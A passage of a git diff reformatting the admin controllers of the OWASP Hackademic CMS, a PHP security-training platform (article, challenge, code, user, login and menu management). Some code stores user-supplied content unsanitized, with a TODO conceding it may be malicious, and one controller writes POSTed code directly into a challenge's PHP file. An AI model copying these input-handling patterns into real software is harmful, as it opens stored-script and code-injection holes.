+ } + $zip = new ZipArchive(); + if (!$zip->open($destination, ZIPARCHIVE::CREATE)) { + return false; + } + $source = str_replace('\\', '/', realpath($source)); + if (is_dir($source) === true) { + $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); + foreach ($files as $file) { + $file = str_replace('\\', '/', realpath($file)); + if (is_dir($file) === true) { + $zip->addEmptyDir(str_replace($source . '/', '', $file . '/')); + } else if (is_file($file) === true) { + $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file)); + } + } + } else if (is_file($source) === true) { + $zip->addFromString(basename($source), file_get_contents($source)); + } + return $zip->close(); + } +} diff --git a/admin/controller/class.EditArticleController.php b/admin/controller/class.EditArticleController.php index 1808b9cd..ae5870e0 100755 --- a/admin/controller/class.EditArticleController.php +++ b/admin/controller/class.EditArticleController.php @@ -1,94 +1,104 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."model/common/class.HackademicDB.php"); -require_once(HACKADEMIC_PATH."admin/model/class.ArticleBackend.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); -require_once(HACKADEMIC_PATH."/model/common/class.Utils.php"); -require_once(HACKADEMIC_PATH."/model/common/class.Article.php"); - -class EditArticleController extends HackademicBackendController { - public $title; - public $publish; - public $article; - - private static $action_type = 'edit_article'; - - public function go() { - $this->saveFormFields(); - if (isset($_GET['id'])) { - $id=$_GET['id']; - } - if (isset($_GET['source']) && $_GET['source']=="new") { - $this->addSuccessMessage("Article has been added succesfully"); - } - if(isset($_POST['submit'])) { - if ($_POST['title']=='') { - $this->addErrorMessage("Title of the article should not be empty"); - } elseif (!isset($_POST['is_published'])) { - $this->addErrorMessage("Please tell if the article has been published successfully?"); - } elseif ($_POST['content']=='') { - $this->addErrorMessage("Article post should not be empty"); - } else { - $article = new Article(); - $article->id = $id; - $article->title = Utils::sanitizeInput($this->title); - $article->is_published = $_POST['is_published']; - $article->content = $_POST['content'];//TODO somehow we must check if this is malicious - $article->last_modified = date("Y-m-d H-i-s"); - $article->last_modified_by = Session::getLoggedInUser(); - ArticleBackend::updateArticle($article); - $this->addSuccessMessage("Article has been updated succesfully"); - } - } - $article=Article::getArticle($id); - $this->setViewTemplate('editarticle.tpl'); - $this->addToView('article', $article); - if(isset($_POST['deletesubmit'])) { - ArticleBackend::deleteArticle($id); - header('Location:'.SOURCE_ROOT_PATH."?url=admin/articlemanager"); - die(); - } - $this->generateView(self::$action_type); - - } - public function saveFormFields(){ - if(isset($_POST['title'])) - $this->title =Utils::sanitizeInput($_POST['title']); - if(isset($_POST['is_published'])) - $this->publish=$_POST['is_published']; - if(isset($_POST['content'])) - $this->article = $_POST['content']; - - $this->addToView('cached', $this); - } -} +. + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."model/common/class.HackademicDB.php"; +require_once HACKADEMIC_PATH."admin/model/class.ArticleBackend.php"; +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; +require_once HACKADEMIC_PATH."/model/common/class.Utils.php"; +require_once HACKADEMIC_PATH."/model/common/class.Article.php"; + +class EditArticleController extends HackademicBackendController +{ + public $title; + public $publish; + public $article; + + private static $_action_type = 'edit_article'; + + public function go() + { + $this->saveFormFields(); + if (isset($_GET['id'])) { + $id=$_GET['id']; + } + if (isset($_GET['source']) && $_GET['source']=="new") { + $this->addSuccessMessage("Article has been added succesfully"); + } + if (isset($_POST['submit'])) { + if ($_POST['title']=='') { + $this->addErrorMessage("Title of the article should not be empty"); + } elseif (!isset($_POST['is_published'])) { + $this->addErrorMessage( + "Please tell if the article has been published successfully?" + ); + } elseif ($_POST['content']=='') { + $this->addErrorMessage("Article post should not be empty"); + } else { + $article = new Article(); + $article->id = $id; + $article->title = Utils::sanitizeInput($this->title); + $article->is_published = $_POST['is_published']; + //TODO somehow we must check if this is malicious + $article->content = $_POST['content']; + $article->last_modified = date("Y-m-d H-i-s"); + $article->last_modified_by = Session::getLoggedInUser(); + ArticleBackend::updateArticle($article); + $this->addSuccessMessage("Article has been updated succesfully"); + } + } + $article=Article::getArticle($id); + $this->setViewTemplate('editarticle.tpl'); + $this->addToView('article', $article); + if (isset($_POST['deletesubmit'])) { + ArticleBackend::deleteArticle($id); + header('Location:'.SOURCE_ROOT_PATH."?url=admin/articlemanager"); + die(); + } + $this->generateView(self::$_action_type); + + } + public function saveFormFields() + { + if (isset($_POST['title'])) { + $this->title =Utils::sanitizeInput($_POST['title']); + } + if (isset($_POST['is_published'])) { + $this->publish=$_POST['is_published']; + } + if (isset($_POST['content'])) { + $this->article = $_POST['content']; + } + + $this->addToView('cached', $this); + } +} diff --git a/admin/controller/class.EditChallengeController.php b/admin/controller/class.EditChallengeController.php index d7ee6927..54f56663 100755 --- a/admin/controller/class.EditChallengeController.php +++ b/admin/controller/class.EditChallengeController.php @@ -1,76 +1,81 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."model/common/class.Challenge.php"); -require_once(HACKADEMIC_PATH."admin/model/class.ChallengeBackend.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); -require_once(HACKADEMIC_PATH."model/common/class.Utils.php"); - -class EditChallengeController extends HackademicBackendController { - - private static $action_type = 'edit_challenge'; - - public function go() { - if(isset($_GET['id'])) { - $id = $_GET['id']; - } - if(isset($_POST['submit'])) { - if ($_POST['title']=='') { - $this->addErrorMessage("Title of the challenge should not be empty"); - } elseif ($_POST['description']=='') { - $this->addErrorMessage("Description should not be empty"); - } elseif ($_POST['visibility']=='') { - $this->addErrorMessage("Visibility field should not be empty"); - } elseif ($_POST['level']=='') { - $this->addErrorMessage("Level field should not be empty"); - } elseif ($_POST['duration']=='') { - $this->addErrorMessage("Duration field should not be empty"); - } else { - $challenge = new Challenge(); - $challenge->id = $id; - $challenge->title = Utils::sanitizeInput($_POST['title']); - $challenge->description = $_POST['description']; - $challenge->visibility = Utils::sanitizeInput($_POST['visibility']); - $challenge->publish = Utils::sanitizeInput($_POST['publish']); - $challenge->availability = Utils::sanitizeInput($_POST['availability']); - $challenge->level = Utils::sanitizeInput($_POST['level']); - $challenge->duration = Utils::sanitizeInput($_POST['duration']); - ChallengeBackend::updateChallenge($challenge); - $this->addSuccessMessage("Challenge details have been updated succesfully"); - } - } - $challenges=Challenge::getChallenge($id); - $this->setViewTemplate('editchallenge.tpl'); - $this->addToView('challenge', $challenges); - $this->generateView(self::$action_type); - } -} +. + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."model/common/class.Challenge.php"; +require_once HACKADEMIC_PATH."admin/model/class.ChallengeBackend.php"; +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; +require_once HACKADEMIC_PATH."model/common/class.Utils.php"; + +class EditChallengeController extends HackademicBackendController +{ + + private static $_action_type = 'edit_challenge'; + + public function go() + { + if (isset($_GET['id'])) { + $id = $_GET['id']; + } + if (isset($_POST['submit'])) { + if ($_POST['title']=='') { + $this->addErrorMessage("Title of the challenge should not be empty"); + } elseif ($_POST['description']=='') { + $this->addErrorMessage("Description should not be empty"); + } elseif ($_POST['visibility']=='') { + $this->addErrorMessage("Visibility field should not be empty"); + } elseif ($_POST['level']=='') { + $this->addErrorMessage("Level field should not be empty"); + } elseif ($_POST['duration']=='') { + $this->addErrorMessage("Duration field should not be empty"); + } else { + $challenge = new Challenge(); + $challenge->id = $id; + $challenge->title = Utils::sanitizeInput($_POST['title']); + $challenge->description = $_POST['description']; + $challenge->visibility = Utils::sanitizeInput($_POST['visibility']); + $challenge->publish = Utils::sanitizeInput($_POST['publish']); + $challenge->availability = Utils::sanitizeInput($_POST['availability']); + $challenge->level = Utils::sanitizeInput($_POST['level']); + $challenge->duration = Utils::sanitizeInput($_POST['duration']); + ChallengeBackend::updateChallenge($challenge); + $this->addSuccessMessage( + "Challenge details have been updated succesfully" + ); + } + } + $challenges=Challenge::getChallenge($id); + $this->setViewTemplate('editchallenge.tpl'); + $this->addToView('challenge', $challenges); + $this->generateView(self::$_action_type); + } +} diff --git a/admin/controller/class.EditCodeController.php b/admin/controller/class.EditCodeController.php index 267bc514..52c491e5 100755 --- a/admin/controller/class.EditCodeController.php +++ b/admin/controller/class.EditCodeController.php @@ -1,73 +1,76 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."model/common/class.Challenge.php"); -require_once(HACKADEMIC_PATH."admin/model/class.ChallengeBackend.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); - -class EditCodeController extends HackademicBackendController { - - private static $action_type = 'edit_code'; - - public function go() { - if (isset($_GET['id'])) { - $id=$_GET['id']; - $challenges=Challenge::getChallenge($id); - $title = $challenges->title; - $url = HACKADEMIC_PATH."challenges/".$challenges->pkg_name."/index.php"; - if(isset($_POST['submit'])) { - $contents = $_POST['code']; - file_put_contents($url, $contents); - $this->addSuccessMessage("File has been updated successfully !"); - } - - if (!file_exists($url)) { - $this->addErrorMessage("File does not exist"); - $file_contents = ''; - } else { - $file_contents = htmlspecialchars(file_get_contents($url), ENT_NOQUOTES | ENT_HTML401); - } - $folder = $challenges->pkg_name; - } else { - $title = "Unknown Challenge"; - $file_contents = ''; - $folder = NULL; - $this->addErrorMessage("You need to select a challenge to edit."); - } - $this->setViewTemplate('editcode.tpl'); - $this->addToView('file_contents', $file_contents); - $this->addToView('title', $title); - $this->addToView('folder', $folder); - $this->generateView(self::$action_type); - } - -} +. + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."model/common/class.Challenge.php"; +require_once HACKADEMIC_PATH."admin/model/class.ChallengeBackend.php"; +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; + +class EditCodeController extends HackademicBackendController +{ + + private static $_action_type = 'edit_code'; + + public function go() + { + if (isset($_GET['id'])) { + $id=$_GET['id']; + $challenges=Challenge::getChallenge($id); + $title = $challenges->title; + $url = HACKADEMIC_PATH."challenges/".$challenges->pkg_name."/index.php"; + if (isset($_POST['submit'])) { + $contents = $_POST['code']; + file_put_contents($url, $contents); + $this->addSuccessMessage("File has been updated successfully !"); + } + + if (!file_exists($url)) { + $this->addErrorMessage("File does not exist"); + $file_contents = ''; + } else { + $file_contents = htmlspecialchars(file_get_contents($url), ENT_NOQUOTES | ENT_HTML401); + } + $folder = $challenges->pkg_name; + } else { + $title = "Unknown Challenge"; + $file_contents = ''; + $folder = null; + $this->addErrorMessage("You need to select a challenge to edit."); + } + $this->setViewTemplate('editcode.tpl'); + $this->addToView('file_contents', $file_contents); + $this->addToView('title', $title); + $this->addToView('folder', $folder); + $this->generateView(self::$_action_type); + } + +} diff --git a/admin/controller/class.EditUserController.php b/admin/controller/class.EditUserController.php index e48f4c06..d238322f 100755 --- a/admin/controller/class.EditUserController.php +++ b/admin/controller/class.EditUserController.php @@ -35,51 +35,48 @@ require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); class EditUserController extends HackademicBackendController { - private static $action_type = 'edit_user'; + private static $_action_type = 'edit_user'; - public function go() { - if (isset($_GET['id'])) { - $id = $_GET['id']; - } + + public function go() + { + if (isset($_GET['id'])) { + $id = $_GET['id']; + } + if (isset($_POST['deletesubmit'])) { + User::deleteUser($id); + $this->addSuccessMessage("User has been deleted succesfully"); + header('Location:' . SOURCE_ROOT_PATH . "?url=admin/usermanager&source=del"); + die(); + } + if (isset($_POST['submit'])) { + if ($_POST['username']=='') { + $this->addErrorMessage("Name of the user should not be empty"); + } elseif ($_POST['email']=='') { + $this->addErrorMessage("Email should not be empty"); + } elseif ($_POST['full_name']=='') { + $this->addErrorMessage("Please enter your full name"); + } elseif ($_POST['is_activated']=='') { + $this->addErrorMessage("Is the user activated or not"); + } elseif ($_POST['type']=='') { + $this->addErrorMessage("Please select the type of the user"); + } else { + $this->username =$_POST['username']; + $this->email = $_POST['email']; + $this->password = $_POST['password']; + $this->full_name=$_POST['full_name']; + $this->is_activated=$_POST['is_activated']; + $this->type=$_POST['type']; - if(isset($_GET['activate'])){ - $user=User::getUser($id); - User::updateUser($id,$user->username,$user->full_name,$user->email,$user->password,1,$user->type); - header('Location: ' . "?url=admin/usermanager&source=activate"); - } - - if(isset($_POST['deletesubmit'])) { - User::deleteUser($id); - $this->addSuccessMessage("User has been deleted succesfully"); - header('Location:' . SOURCE_ROOT_PATH . "?url=admin/usermanager&source=del"); - die(); + User::updateUser($id, $this->username, $this->full_name, $this->email, $this->password, $this->is_activated, $this->type); + $this->addSuccessMessage( + "User details have been updated succesfully" + ); + } + } + $users=User::getUser($id); + $this->setViewTemplate('edituser.tpl'); + $this->addToView('user', $users); + $this->generateView(self::$_action_type); } - if(isset($_POST['submit'])) { - if ($_POST['username']=='') { - $this->addErrorMessage("Name of the user should not be empty"); - } elseif ($_POST['email']=='') { - $this->addErrorMessage("Email should not be empty"); - } elseif ($_POST['full_name']=='') { - $this->addErrorMessage("Please enter your full name"); - } elseif ($_POST['is_activated']=='') { - $this->addErrorMessage("Is the user activated or not"); - } elseif ($_POST['type']=='') { - $this->addErrorMessage("Please select the type of the user"); - } else { - $this->username =$_POST['username']; - $this->email = $_POST['email']; - $this->password = $_POST['password']; - $this->full_name=$_POST['full_name']; - $this->is_activated=$_POST['is_activated']; - $this->type=$_POST['type']; - - User::updateUser($id,$this->username,$this->full_name,$this->email,$this->password,$this->is_activated,$this->type); - $this->addSuccessMessage("User details have been updated succesfully"); - } - } - $users=User::getUser($id); - $this->setViewTemplate('edituser.tpl'); - $this->addToView('user', $users); - $this->generateView(self::$action_type); - } } diff --git a/admin/controller/class.HackademicBackendController.php b/admin/controller/class.HackademicBackendController.php index 6d4b6cc1..73013bf3 100755 --- a/admin/controller/class.HackademicBackendController.php +++ b/admin/controller/class.HackademicBackendController.php @@ -1,90 +1,99 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."model/common/class.Session.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.MenuController.php"); -require_once(HACKADEMIC_PATH."controller/class.HackademicController.php"); -require_once(HACKADEMIC_PATH."extlib/NoCSRF/nocsrf.php"); - -class HackademicBackendController extends HackademicController { - - public function __construct() { - HackademicController::__construct(); - - $token = $_SESSION['token']; - $this->addToView('token', $token); - - if ( isset($_POST['submit']) ) { - try { - //this is only for post requests and for testing purposes - NoCSRF::check( 'csrf_token', $_POST, true, 60*10, true ); - } - catch ( Exception $e ) { - // CSRF attack detected - die('Invalid CSRF token'); - } - } - - // Login Controller, do nothing - if (get_class($this) == 'LoginController') - return; - if (!self::isLoggedIn()) { - header('Location: '.SOURCE_ROOT_PATH."?url=admin/login"); - die(); - } elseif (self::isLoggedIn()) { - if ((self::isAdmin() || (self::isTeacher()))) { - // If is Admin or Teacher, go to Admin Dashboard - $menu=MenuController::go(); - $this->addToView("main_menu_admin",$menu); - } else{ - header('Location: '.SOURCE_ROOT_PATH); - die(); - } - // Else go to main site - } - } - - - /** - * Function to set view template - * @param $tmpl str Template name - */ - public function setViewTemplate($tmp1) { - $admin_path = $this->smarty->admin_theme_path . $tmp1; - $path = Plugin::apply_filters_ref_array('set_admin_view_template', array($admin_path)); - if($path == "") { - $path = $admin_path; - } - $this->view_template = HACKADEMIC_PATH . $path; - } - -} +. + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."model/common/class.Session.php"; +require_once HACKADEMIC_PATH."admin/controller/class.MenuController.php"; +require_once HACKADEMIC_PATH."controller/class.HackademicController.php"; +require_once HACKADEMIC_PATH."extlib/NoCSRF/nocsrf.php"; + +class HackademicBackendController extends HackademicController +{ + + public function __construct() + { + HackademicController::__construct(); + + $token = $_SESSION['token']; + $this->addToView('token', $token); + + if (isset($_POST['submit']) ) { + try { + //this is only for post requests and for testing purposes + // var_dump($_POST); + NoCSRF::check('csrf_token', $_POST, true, 60*10, true); + } + catch ( Exception $e ) { + // CSRF attack detected + die('Invalid CSRF token'); + } + } + + // Login Controller, do nothing + if (get_class($this) == 'LoginController') { + return; + } + if (!self::isLoggedIn()) { + header('Location: '.SOURCE_ROOT_PATH."?url=admin/login"); + die(); + } elseif (self::isLoggedIn()) { + if ((self::isAdmin() || (self::isTeacher()))) { + // If is Admin or Teacher, go to Admin Dashboard + $menu=MenuController::go(); + $this->addToView("main_menu_admin", $menu); + } else { + header('Location: '.SOURCE_ROOT_PATH); + die(); + } + // Else go to main site + } + } + + + /** + * Function to set view template + * + * @param string $tmp1 Template name + * + * @return Nothing. + */ + public function setViewTemplate($tmp1) + { + $admin_path = $this->smarty->admin_theme_path . $tmp1; + $path = Plugin::apply_filters_ref_array('set_admin_view_template', array($admin_path)); + if ($path == "") { + $path = $admin_path; + } + $this->view_template = HACKADEMIC_PATH . $path; + } + +} diff --git a/admin/controller/class.LoginController.php b/admin/controller/class.LoginController.php index e895482c..184536f0 100755 --- a/admin/controller/class.LoginController.php +++ b/admin/controller/class.LoginController.php @@ -1,87 +1,60 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."model/common/class.Session.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.DashboardController.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); -require_once(HACKADEMIC_PATH."model/common/class.User.php"); - -class LoginController extends HackademicBackendController { - - private static $action_type = 'admin_login'; - - public function go() { - $this->setViewTemplate('admin_login.tpl'); - $this->addPageTitle('Log in'); - - if (self::isLoggedIn()) { - header('Location: '.SOURCE_ROOT_PATH."?url=admin/dashboard"); - die(); - } else { - if (isset($_POST['submit']) && $_POST['submit']=='Login' - && isset($_POST['username']) && isset($_POST['pwd']) ) { - if ($_POST['username']=='' || $_POST['pwd']=='') { - if ($_POST['username']=='') { - $this->addErrorMessage("Username must not be empty"); - return $this->generateView(self::$action_type); - } else { - $this->addErrorMessage("Password must not be empty"); - return $this->generateView(self::$action_type); - } - } else { - $session = new Session(); - $username = $_POST['username']; - $this->addToView('username', $username); - $user=User::findByUsername($username); - if (!$user) { - $this->addErrorMessage("Incorrect username or password"); - return $this->generateView(self::$action_type); - } elseif (!$session->pwdCheck($_POST['pwd'], $user->password)) { - $this->addErrorMessage("Incorrect username or password"); - return $this->generateView(self::$action_type); - } elseif(!$user->type) { - $this->addErrorMessage("You are not an administrator"); - return $this->generateView(self::$action_type); - } else { - // this sets variables in the session - $session->completeLogin($user); - header('Location: '.SOURCE_ROOT_PATH."?url=admin/login"); - die(); - } - } - } else { - $this->addPageTitle('Log in'); - return $this->generateView(self::$action_type); - } - } - } -} +setViewTemplate('admin_login.tpl'); + $this->addPageTitle('Log in'); + + if (self::isLoggedIn()) { + header('Location: '.SOURCE_ROOT_PATH."?url=admin/dashboard"); + die(); + } else { + if (isset($_POST['submit']) && $_POST['submit']=='Login' + && isset($_POST['username']) && isset($_POST['pwd']) + ) { + if ($_POST['username']=='' || $_POST['pwd']=='') { + if ($_POST['username']=='') { + $this->addErrorMessage("Username must not be empty"); + return $this->generateView(self::$_action_type); + } else { + $this->addErrorMessage("Password must not be empty"); + return $this->generateView(self::$_action_type); + } + } else { + $session = new Session(); + $username = $_POST['username']; + $this->addToView('username', $username); + $user=User::findByUsername($username); + if (!$user) { + $this->addErrorMessage("Incorrect username or password"); + return $this->generateView(self::$_action_type); + } elseif (!$session->pwdCheck($_POST['pwd'], $user->password)) { + $this->addErrorMessage("Incorrect username or password"); + return $this->generateView(self::$_action_type); + } elseif (!$user->type) { + $this->addErrorMessage("You are not an administrator"); + return $this->generateView(self::$_action_type); + } else { + // this sets variables in the session + $session->completeLogin($user); + header('Location: '.SOURCE_ROOT_PATH."?url=admin/login"); + die(); + } + } + } else { + $this->addPageTitle('Log in'); + return $this->generateView(self::$_action_type); + } + } + } +} diff --git a/admin/controller/class.LogoutController.php b/admin/controller/class.LogoutController.php index 7640c3d4..805f1db5 100755 --- a/admin/controller/class.LogoutController.php +++ b/admin/controller/class.LogoutController.php @@ -1,44 +1,55 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."model/common/class.Session.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); - -class LogoutController extends HackademicBackendController{ - - public function go() { - Session::logout(); - header('Location:'.SOURCE_ROOT_PATH); - die(); - } - -} +. + * + * PHP Version 5 + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."model/common/class.Session.php"; +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; + +/** + * Logout Session. + */ +class LogoutController extends HackademicBackendController +{ + + /** + * Function to logout the session. + * @return Nothing. + */ + public function go() + { + Session::logout(); + header('Location:'.SOURCE_ROOT_PATH); + die(); + } + +} diff --git a/admin/controller/class.MenuController.php b/admin/controller/class.MenuController.php index 2d19b07f..83b27a11 100755 --- a/admin/controller/class.MenuController.php +++ b/admin/controller/class.MenuController.php @@ -1,41 +1,45 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."controller/class.UserMenuController.php"); - -class MenuController { - - public static function go() { - $menu = UserMenuController::go(); - return $menu; - } -} +. + * + * PHP Version 5 + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."controller/class.UserMenuController.php"; + +class MenuController +{ + + public static function go() + { + $menu = UserMenuController::go(); + return $menu; + } +} diff --git a/admin/controller/class.MenuManagerController.php b/admin/controller/class.MenuManagerController.php index 688e4c69..2ec67321 100755 --- a/admin/controller/class.MenuManagerController.php +++ b/admin/controller/class.MenuManagerController.php @@ -1,6 +1,5 @@ . + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . * + * PHP Version 5. * - * @author Daniel Kvist - * @license http://www.gnu.org/licenses/gpl.html + * @author Daniel Kvist * @copyright 2013 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH . "admin/controller/class.HackademicBackendController.php"); -require_once(HACKADEMIC_PATH . "admin/model/class.MenuBackend.php"); -require_once(HACKADEMIC_PATH . "admin/model/class.PageBackend.php"); +require_once HACKADEMIC_PATH . "admin/controller/class.HackademicBackendController.php"; +require_once HACKADEMIC_PATH . "admin/model/class.MenuBackend.php"; +require_once HACKADEMIC_PATH . "admin/model/class.PageBackend.php"; -class MenuManagerController extends HackademicBackendController { +class MenuManagerController extends HackademicBackendController +{ - private static $action_type = 'menu_manager'; + private static $_action_type = 'menu_manager'; - public function go() { - $menus = MenuBackend::getMenus(); - $submit = isset($_POST['submit']) ? $_POST['submit'] : ''; - - if($submit == 'Cancel' || empty($submit)) { - $menu = Menu::getMenu(Menu::ADMIN_MENU); - } else if($submit == 'Change') { - $menu = Menu::getMenu(htmlspecialchars($_POST['menu'])); - } else if($submit == 'Update') { - // Get the menu that has been shown (can be different from the selected menu) - $menu = Menu::getMenu($_POST['mid']); - - // Loop through all post vars to find the parent inputs so - // that we can split them and use the id from the name. Once - // we have the id, we can fetch the old item from the database - // and make any changes we wish. - foreach($_POST as $key => $value) { - $is_parent = substr($key, 0, 6) == 'parent'; + public function go() + { + $menus = MenuBackend::getMenus(); + $submit = isset($_POST['submit']) ? $_POST['submit'] : ''; - // When we have a parent we can get the id which is the same for the parent and - // sort select lists. - if($is_parent) { - $pieces = explode('-', $key); - $id = $pieces[1]; - $menu_item = $menu->items['items'][$id]; - - // Make sure the selected menu is the same as the menu that was shown - if($menu_item['mid'] == $_POST['menu']) { - - // Make sure a child is not parent to its own parent - if(isset($_POST['parent-' . $value]) && $id == $_POST['parent-' . $value]) { - $this->addErrorMessage("A child element cannot be parent to its own parent."); - } - - // If we have new and valid data, lets store it in the database - else if($menu_item['parent'] != $value || $menu_item['sort'] != $_POST['sort-' . $id]) { - $menu_item['parent'] = $value; - $menu_item['sort'] = $_POST['sort-' . $id]; - MenuBackend::updateMenuItem($menu_item['url'], $menu_item['mid'], $menu_item['label'], $menu_item['parent'], $menu_item['sort']); - $this->addSuccessMessage("Menu items has been updated."); + if ($submit == 'Cancel' || empty($submit)) { + $menu = Menu::getMenu(Menu::ADMIN_MENU); + } else if ($submit == 'Change') { + $menu = Menu::getMenu(htmlspecialchars($_POST['menu'])); + } else if ($submit == 'Update') { + // Get the menu that has been shown + // (can be different from the selected menu) + $menu = Menu::getMenu($_POST['mid']); + + // Loop through all post vars to find the parent inputs so + // that we can split them and use the id from the name. Once + // we have the id, we can fetch the old item from the database + // and make any changes we wish. + foreach ($_POST as $key => $value) { + $is_parent = substr($key, 0, 6) == 'parent'; + + // When we have a parent we can get the id which is the same for the + // parent and sort select lists. + if ($is_parent) { + $pieces = explode('-', $key); + $id = $pieces[1]; + $menu_item = $menu->items['items'][$id]; + + // Make sure the selected menu is the same as the menu that was + // shown + if ($menu_item['mid'] == $_POST['menu']) { + + // Make sure a child is not parent to its own parent + if (isset($_POST['parent-' . $value]) && $id == $_POST['parent-' . $value]) { + $this->addErrorMessage( + "A child element cannot be parent + to its own parent." + ); + } + + // If we have new and valid data, lets store it in the + // database + else if ($menu_item['parent'] != $value || $menu_item['sort'] != $_POST['sort-' . $id]) { + $menu_item['parent'] = $value; + $menu_item['sort'] = $_POST['sort-' . $id]; + MenuBackend::updateMenuItem($menu_item['url'], $menu_item['mid'], $menu_item['label'], $menu_item['parent'], $menu_item['sort']); + $this->addSuccessMessage("Menu items has been updated."); + } + } + + // The user selected another menu and tried to update item + // without first submitting the change of menu + else { + $this->addErrorMessage( + "The selected menu did not correspond + to the items you where editing. Did you remember to + change the active menu?" + ); + } + } } - } - - // The user selected another menu and tried to update items without first submitting the change of menu - else { - $this->addErrorMessage("The selected menu did not correspond to the items you where editing. Did you remember to change the active menu?"); - } + + // We have saved all item changes if any, lets fetch a fresh menu from + // the database to make sure we get the structure in the way we want it + // in the template. + $menu = Menu::getMenu(htmlspecialchars($_POST['menu'])); } - } - - // We have saved all item changes if any, lets fetch a fresh menu from the database to make sure we get - // the structure in the way we want it in the template. - $menu = Menu::getMenu(htmlspecialchars($_POST['menu'])); - } - $this->addToView('menus', $menus); - $this->addToView('selected_menu', $menu); - $this->addToView('main_menu_admin', Menu::getMenu(Menu::ADMIN_MENU)->items); - $this->setViewTemplate('menumanager.tpl'); - $this->generateView(self::$action_type); - } + $this->addToView('menus', $menus); + $this->addToView('selected_menu', $menu); + $this->addToView('main_menu_admin', Menu::getMenu(Menu::ADMIN_MENU)->items); + $this->setViewTemplate('menumanager.tpl'); + $this->generateView(self::$_action_type); + } } diff --git a/admin/controller/class.OptionsController.php b/admin/controller/class.OptionsController.php index f9ef8d4a..fb08b89a 100644 --- a/admin/controller/class.OptionsController.php +++ b/admin/controller/class.OptionsController.php @@ -1,5 +1,4 @@ handleFormData(); - } else { - $this->setDefaultTemplateVars(); - } - - $this->buildView($this->active_plugins, $this->active_user_theme); - $this->generateView(); + private $_active_plugins = array(); + private $_active_user_theme = ''; + private static $_available_themes = array(); + + /** + * The main controller of the view that controls if data has been submitted or if it's + * a regular page view. Then builds the view and generates it. + */ + public function go() { + if(isset($_POST['submit'])) { + $this->handleFormData(); + } else { + $this->setDefaultTemplateVars(); } - - /** - * Saves the chosen active theme and plugins to the database and notifies enabled and disabled - * plugins. - */ - private function handleFormData() { - // Handle plugins - foreach ($_POST as $key => $value) { - if (substr($key, 0, 7) == 'plugin_') { - array_push($this->active_plugins, $value); - } - } - $this->notifyEnabledPlugins(array_diff($this->active_plugins, Options::getOption('active_plugins')->value)); - $this->notifyDisabledPlugins(array_diff(Options::getOption('active_plugins')->value, $this->active_plugins)); - - // Handle theme - $new_user_theme_path = $_POST['active_user_theme']; - if (array_key_exists($new_user_theme_path, $this->getUserThemes())) { - if ($this->active_user_theme != $new_user_theme_path) { - $this->smarty->clear_all_cache(); - Plugin::do_action_ref_array('enable_user_theme', array($new_user_theme_path)); - Plugin::do_action_ref_array('disable_user_theme', array($this->active_user_theme)); - } - $this->active_user_theme = $new_user_theme_path; - }else{ - error_log("theme doesn't exist"); - $this->addErrorMessage("Theme ".$new_user_theme_path." doesn't exist"); - } - // Update options in database - Options::updateOption('active_plugins', $this->active_plugins); - 